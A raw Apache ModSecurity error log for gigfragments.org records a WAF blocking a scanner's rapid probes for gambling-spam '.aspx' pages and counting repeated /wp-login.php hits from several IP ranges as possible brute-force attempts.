[Tue Feb 24 07:26:24.887805 2026] [:error] [pid 37644:tid 37666] [client 135.181.180.59:11344] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aZziIELaEhVDwBRydH14vgAAANQ"]
[Tue Feb 24 07:26:26.963245 2026] [:error] [pid 37644:tid 37665] [client 135.181.180.59:11356] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aZziIkLaEhVDwBRydH14xAAAANM"]
[Tue Feb 24 07:26:28.847675 2026] [:error] [pid 37540:tid 37621] [client 135.181.180.59:11362] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aZziJCahRAUBJS8hpJWDDAAAAJM"]
[Tue Feb 24 07:27:24.541173 2026] [:error] [pid 11672:tid 11689] [client 135.181.180.59:25120] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aZziXPa0fhnmfPYq92vFdAAAAQ8"]
[Tue Feb 24 07:27:26.657989 2026] [:error] [pid 41188:tid 41206] [client 135.181.180.59:11514] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aZziXgWRg7szIRhA0WiIQQAAAU8"]
[Tue Feb 24 07:27:28.592264 2026] [:error] [pid 37540:tid 37621] [client 135.181.180.59:11522] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZziYCahRAUBJS8hpJWDbgAAAJM"]
[Tue Feb 24 07:27:30.513882 2026] [:error] [pid 37540:tid 37615] [client 135.181.180.59:11532] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZziYiahRAUBJS8hpJWDdgAAAI0"]
[Tue Feb 24 07:27:32.607557 2026] [:error] [pid 37539:tid 37578] [client 135.181.180.59:11540] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZziZHEnr46jUQep9z_gmAAAAEM"]
[Tue Feb 24 07:27:34.725690 2026] [:error] [pid 41188:tid 41210] [client 135.181.180.59:8712] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZziZgWRg7szIRhA0WiIaAAAAVM"]
[Tue Feb 24 07:27:45.001754 2026] [:error] [pid 37540:tid 37608] [client 135.181.180.59:62582] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZzicSahRAUBJS8hpJWDlgAAAIY"]
[Tue Feb 24 07:27:47.000591 2026] [:error] [pid 37538:tid 37571] [client 135.181.180.59:62596] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZziciynTiHZ9J0Y2nZzUgAAABc"]
[Tue Feb 24 07:27:49.059678 2026] [:error] [pid 11672:tid 11692] [client 135.181.180.59:62600] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZzidfa0fhnmfPYq92vFkQAAARI"]
[Tue Feb 24 07:27:50.978003 2026] [:error] [pid 37540:tid 37605] [client 135.181.180.59:62608] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aZzidiahRAUBJS8hpJWDpgAAAIM"]
[Tue Feb 24 07:27:52.920158 2026] [:error] [pid 37538:tid 37548] [client 135.181.180.59:62620] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aZzieCynTiHZ9J0Y2nZzVgAAAAA"]
[Tue Feb 24 07:27:54.928868 2026] [:error] [pid 37540:tid 37624] [client 135.181.180.59:30914] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZzieiahRAUBJS8hpJWDtQAAAJY"]
[Tue Feb 24 07:27:56.931979 2026] [:error] [pid 37540:tid 37625] [client 135.181.180.59:30916] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aZzifCahRAUBJS8hpJWDwgAAAJc"]
[Tue Feb 24 07:27:59.133004 2026] [:error] [pid 41188:tid 41212] [client 135.181.180.59:30930] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aZzifwWRg7szIRhA0WiIxAAAAVU"]
[Tue Feb 24 07:28:01.274846 2026] [:error] [pid 41188:tid 41200] [client 135.181.180.59:30936] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aZzigQWRg7szIRhA0WiIzgAAAUk"]
[Tue Feb 24 07:28:03.390474 2026] [:error] [pid 37539:tid 37577] [client 135.181.180.59:30952] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aZzig3Enr46jUQep9z_gpgAAAEI"]
[Tue Feb 24 07:28:05.342090 2026] [:error] [pid 41188:tid 41213] [client 135.181.180.59:56934] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZzihQWRg7szIRhA0WiI3gAAAVY"]
[Tue Feb 24 07:28:07.285176 2026] [:error] [pid 37540:tid 37622] [client 135.181.180.59:56944] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZzihyahRAUBJS8hpJWD3gAAAJQ"]
[Tue Feb 24 07:28:09.182379 2026] [:error] [pid 37644:tid 37670] [client 135.181.180.59:56952] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZziiULaEhVDwBRydH15XwAAANg"]
[Tue Feb 24 07:28:11.104679 2026] [:error] [pid 37538:tid 37560] [client 135.181.180.59:56964] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aZziiyynTiHZ9J0Y2nZzWQAAAAw"]
[Tue Feb 24 07:28:11.311668 2026] [:error] [pid 11672:tid 11677] [client 193.36.225.138:40969] [client 193.36.225.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzii_a0fhnmfPYq92vFnwAAAQM"]
[Tue Feb 24 07:28:11.312075 2026] [:error] [pid 37644:tid 37657] [client 37.140.223.6:45023] [client 37.140.223.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzii0LaEhVDwBRydH15YgAAAMs"]
[Tue Feb 24 07:28:13.224733 2026] [:error] [pid 37644:tid 37656] [client 135.181.180.59:56978] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZzijULaEhVDwBRydH15ZgAAAMo"]
[Tue Feb 24 07:28:15.117109 2026] [:error] [pid 41188:tid 41204] [client 135.181.180.59:44546] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aZzijwWRg7szIRhA0WiI7AAAAU0"]
[Tue Feb 24 07:28:17.072139 2026] [:error] [pid 41188:tid 41208] [client 135.181.180.59:44552] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aZzikQWRg7szIRhA0WiI9QAAAVE"]
[Tue Feb 24 07:28:19.176401 2026] [:error] [pid 41188:tid 41206] [client 135.181.180.59:44556] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aZzikwWRg7szIRhA0WiI-QAAAU8"]
[Tue Feb 24 07:29:16.371232 2026] [:error] [pid 37540:tid 37616] [client 135.181.180.59:64718] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZzizCahRAUBJS8hpJWFHAAAAI4"]
[Tue Feb 24 07:29:18.402415 2026] [:error] [pid 37539:tid 37586] [client 135.181.180.59:64734] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aZziznEnr46jUQep9z_g1wAAAEs"]
[Tue Feb 24 07:29:20.364662 2026] [:error] [pid 37538:tid 37561] [client 135.181.180.59:64744] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aZzi0CynTiHZ9J0Y2nZzyQAAAA0"]
[Tue Feb 24 07:29:29.299920 2026] [:error] [pid 37540:tid 37605] [client 135.181.180.59:14424] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aZzi2SahRAUBJS8hpJWFKwAAAIM"]
[Tue Feb 24 07:29:31.202576 2026] [:error] [pid 37539:tid 37579] [client 135.181.180.59:14440] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZzi23Enr46jUQep9z_g4wAAAEQ"]
[Tue Feb 24 07:29:33.111456 2026] [:error] [pid 37540:tid 37616] [client 135.181.180.59:14454] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aZzi3SahRAUBJS8hpJWFNwAAAI4"]
[Tue Feb 24 07:29:35.079667 2026] [:error] [pid 37540:tid 37622] [client 135.181.180.59:27934] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aZzi3yahRAUBJS8hpJWFPQAAAJQ"]
[Tue Feb 24 07:37:41.140096 2026] [:error] [pid 37540:tid 37620] [client 37.140.223.16:29269] [client 37.140.223.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzkxSahRAUBJS8hpJWKnAAAAJI"]
[Tue Feb 24 07:37:41.140119 2026] [:error] [pid 37540:tid 37619] [client 37.140.223.23:42271] [client 37.140.223.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzkxSahRAUBJS8hpJWKnQAAAJE"]
[Tue Feb 24 07:46:50.107804 2026] [:error] [pid 37539:tid 37589] [client 172.245.102.6:22249] [client 172.245.102.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzm6nEnr46jUQep9z_kgwAAAE4"]
[Tue Feb 24 07:46:50.108053 2026] [:error] [pid 41188:tid 41199] [client 37.140.223.13:45071] [client 37.140.223.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.13, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzm6gWRg7szIRhA0WiRVAAAAUg"]
[Tue Feb 24 07:55:58.804209 2026] [:error] [pid 37540:tid 37618] [client 136.144.33.209:32727] [client 136.144.33.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzpDiahRAUBJS8hpJWUiAAAAJA"]
[Tue Feb 24 07:55:58.804337 2026] [:error] [pid 37540:tid 37611] [client 37.140.223.14:28193] [client 37.140.223.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzpDiahRAUBJS8hpJWUiQAAAIk"]
[Tue Feb 24 08:06:20.294965 2026] [:error] [pid 11672:tid 11683] [client 37.140.223.1:26551] [client 37.140.223.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzrfPa0fhnmfPYq92vOzgAAAQk"]
[Tue Feb 24 08:06:20.319809 2026] [:error] [pid 37644:tid 37666] [client 193.36.225.138:57657] [client 193.36.225.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzrfELaEhVDwBRydH2FVAAAANQ"]
[Tue Feb 24 08:15:48.474919 2026] [:error] [pid 37644:tid 37664] [client 193.36.225.137:27995] [client 193.36.225.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzttELaEhVDwBRydH2IkwAAANI"]
[Tue Feb 24 08:15:48.476650 2026] [:error] [pid 37539:tid 37595] [client 193.36.225.137:51529] [client 193.36.225.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzttHEnr46jUQep9z_ptgAAAFQ"]
[Tue Feb 24 08:25:17.919347 2026] [:error] [pid 37644:tid 37657] [client 37.140.223.21:62433] [client 37.140.223.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzv7ULaEhVDwBRydH2LOQAAAMs"]
[Tue Feb 24 08:25:17.926042 2026] [:error] [pid 37644:tid 37665] [client 193.36.225.131:63751] [client 193.36.225.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzv7ULaEhVDwBRydH2LOgAAANM"]
[Tue Feb 24 08:35:15.983358 2026] [:error] [pid 37540:tid 37612] [client 37.140.223.8:57161] [client 37.140.223.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzyQyahRAUBJS8hpJWu7gAAAIo"]
[Tue Feb 24 08:35:15.983520 2026] [:error] [pid 41188:tid 41191] [client 37.140.223.25:22731] [client 37.140.223.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.25, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzyQwWRg7szIRhA0Wik6gAAAUA"]
[Tue Feb 24 08:42:33.179909 2026] [:error] [pid 41188:tid 41204] [client 43.130.100.35:52122] [client 43.130.100.35] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZzz-QWRg7szIRhA0WiqWgAAAU0"]
[Tue Feb 24 08:44:20.460192 2026] [:error] [pid 37644:tid 37648] [client 193.36.225.134:48249] [client 193.36.225.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZz0ZELaEhVDwBRydH2RGwAAAMI"]
[Tue Feb 24 08:44:20.460771 2026] [:error] [pid 37539:tid 37580] [client 193.36.225.133:36763] [client 193.36.225.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.133, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZz0ZHEnr46jUQep9z_wDwAAAEU"]
[Tue Feb 24 08:53:37.166615 2026] [:error] [pid 37539:tid 37589] [client 193.36.225.138:57057] [client 193.36.225.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZz2kXEnr46jUQep9z_x0gAAAE4"]
[Tue Feb 24 08:53:37.171401 2026] [:error] [pid 37539:tid 37593] [client 37.140.223.1:53997] [client 37.140.223.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZz2kXEnr46jUQep9z_x0wAAAFI"]
[Tue Feb 24 09:03:28.146848 2026] [:error] [pid 37540:tid 37623] [client 37.140.223.17:59601] [client 37.140.223.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZz44CahRAUBJS8hpJW4pgAAAJU"]
